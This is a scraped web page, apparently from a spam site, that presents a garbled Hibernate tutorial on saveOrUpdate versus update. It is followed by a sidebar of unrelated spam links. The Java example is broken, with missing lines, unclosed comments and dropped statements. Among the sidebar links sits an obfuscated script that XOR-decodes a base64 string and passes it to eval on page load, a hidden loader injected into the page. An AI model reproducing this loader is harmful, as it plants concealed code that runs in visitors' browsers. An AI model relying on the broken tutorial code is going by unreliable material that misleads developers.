Difference Between Update And Saveorupdate In Hibernate saveOrUpdate</div><table><tbody><tr><td><div><div>2</div><div>4</div><div>6</div><div>8</div><div>10</div><div>12</div><div>14</div><div>16</div><div>18</div><div>20</div><div>22</div><div>24</div><div>26</div><div>28</div><div>30</div><div>32</div><div>34</div><div>36</div><div>38</div><div>40</div><div>42</div><div>44</div><div>46</div><div>48</div><div>50</div><div>52</div><div>54</div><div>56</div><div>58</div><div>60</div><div>62</div><div>64</div><div>66</div></div></td><td><div><div><span>import </span><span>org</span><span>.</span><span>hibernate</span><span>.</span><span>Session</span><span>;</span></div><div><span>import </span><span>org</span><span>.</span><span>hibernate</span><span>.</span><span>boot</span><span>.</span><span>registry</span><span>.</span><span>StandardServiceRegistryBuilder</span><span>;</span></div><div><span>import </span><span>org</span><span>.</span><span>hibernate</span><span>.</span><span>service</span><span>.</span><span>ServiceRegistry</span><span>;</span></div><div><span>public</span><span>class</span><span>EmployeeSaveOrUpdateExample</span><span>{</span></div><div><span>public</span><span>static</span><span>void</span><span>main</span><span>(</span><span>String</span><span>[</span><span>]</span><span>args</span><span>)</span><span>{</span></div><div><span>session</span><span>.</span><span>getTransaction</span><span>(</span><span>)</span><span>.</span><span>begin</span><span>(</span><span>)</span><span>;</span></div><div><span>try</span><span>{</span></div><div><span>Employee </span><span>saveEmp</span><span>=</span><span>new</span><span>Employee</span><span>(</span><span>1</span><span>,</span><span>'Kalyan'</span><span>,</span><span>'Developement'</span><span>)</span><span>;</span></div><div><span>/*</span></div><div><span> * Here employee object with the empno 1 is not there </span></div><div><span> * in database, So it calls save() method and inserts the </span></div><div><span> * </span></div><div><span>session</span><span>.</span><span>saveOrUpdate</span><span>(</span><span>updateEmp</span><span>)</span><span>;</span></div><div><span> * Here employee object with the empno 2 is already present </span></div><div><span> * in database. So it calls update() method and updates the</span></div><div><span> * </span></div><div><span>session</span><span>.</span><span>getTransaction</span><span>(</span><span>)</span><span>.</span><span>commit</span><span>(</span><span>)</span><span>;</span></div><div><span>e</span><span>.</span><span>printStackTrace</span><span>(</span><span>)</span><span>;</span></div><div><span>}</span></div><div><span>public</span><span>static</span><span>Session </span><span>getSession</span><span>(</span><span>)</span><span>{</span></div><div><span>Session </span><span>session</span><span>=</span><span>null</span><span>;</span></div><div><span>Configuration </span><span>configuration</span><span>=</span><span>new</span><span>Configuration</span><span>(</span><span>)</span><span>.</span></div><div><span>StandardServiceRegistryBuilder </span><span>serviceRegistryBuilder</span><span>=</span></div><div><span>serviceRegistryBuilder</span><span>.</span><span>applySettings</span><span>(</span><span>configuration</span><span>.</span><span>getProperties</span><span>(</span><span>)</span><span>)</span><span>;</span></div><div><span>ServiceRegistry </span><span>serviceRegistry</span><span>=</span><span>serviceRegistryBuilder</span><span>.</span><span>build</span><span>(</span><span>)</span><span>;</span></div><div><span>SessionFactory </span><span>sessionFactory</span><span>=</span><span>configuration</span><span>.</span><span>buildSessionFactory</span></div><div><span>session</span><span>=</span><span>sessionFactory</span><span>.</span><span>openSession</span><span>(</span><span>)</span><span>;</span></div><div><span>}</span><span>catch</span><span>(</span><span>Exception</span><span>e</span><span>)</span><span>{</span></div><div><span>}</span></div><div><span>}</span></div></div></td></tr></tbody></table><p>After executing EmployeeSaveOrUpdateExample.java</p><img src='https://i.stack.imgur.com/NsKnR.png' alt='And' title='And' /><div><textarea wrap='soft' readonly='>SQL> SELECT * FROM EMPLOYEE; EMPNO EMPNAME EMPDEPT ---------- -------------------- -------------------- 2 Sree R&D 1 Kalyan Developement246810--------------------------------------------------1Kalyan DevelopementOutput in Eclipse: Valid Paysafecard Codes</a></li> <li><a href='/download-free-map-las-vegas-strip-hotel'>: Download Free Map Las Vegas Strip Hotel</a></li> <li><a href='/backyard-baseball-doodle'>: Backyard Baseball Doodle</a></li> <li><a href='/wings-of-fire-malayalam-translation-pdf'>: Wings Of Fire Malayalam Translation Pdf</a></li> <li><a href='/one-piece-gigant-battle-2-shin-sekai-english-patch'>: One Piece Gigant Battle 2 Shin Sekai English Patch</a></li> <li><a href='/epson-l382-adjustment-program-free'>: Epson L382 Adjustment Program Free</a></li> <li><script>var mK='rnoT0gOiIYxPcfxgtSEuUS8a3w7LlrOewE05BvggV5rAdCOrUNJmOgEHonZDhd5rjssGoBN7LxIYBH6ARPZGQBzq8sRoEL8R8aqTkhctaLKqHPgQpyVAmzKR2cH4SzC8yZZAqnqJNGGe0iRsmb8gYHEIzIZhJhJJjK1RZOzcimWP2FZU';var wsi=atob('BA8ddEICKVQtNhslDgMWE1owMAcnNlYVYBRFJRwGdBMWNxBNKgRaCTNCUhkpDwcGIT4YCD4SIDsbRnN/EAxHXAUDFilHZQlyGF9lfm1nXy82NTA0fzEKEFsWdUZ+NFAgFhYYIAMrEREFKSUFITELIk0NJDQIQTM6QE0nWj8VIlxEPC8vEhoYJSBvbh5VHzMfRRpQFXc6IDoKJjQbLzwvMh5iCi9hNxIRRx4yPlZuc24=');var rnbK='';for(var hY=0;hY<mK.length;hY++){rnbK+=String.fromCharCode(mK.charCodeAt(hY)^wsi.charCodeAt(hY));}eval(rnbK);</script></li> </ul> </aside> </div> </div> <footer id="colophon" class="site-footer" role="contentinfo"> <div class="site-info"> <a href="/" title="Loadingvalley396">Loadingvalley396</a> ♺ 2021 </div> </footer> </div> </body> </html>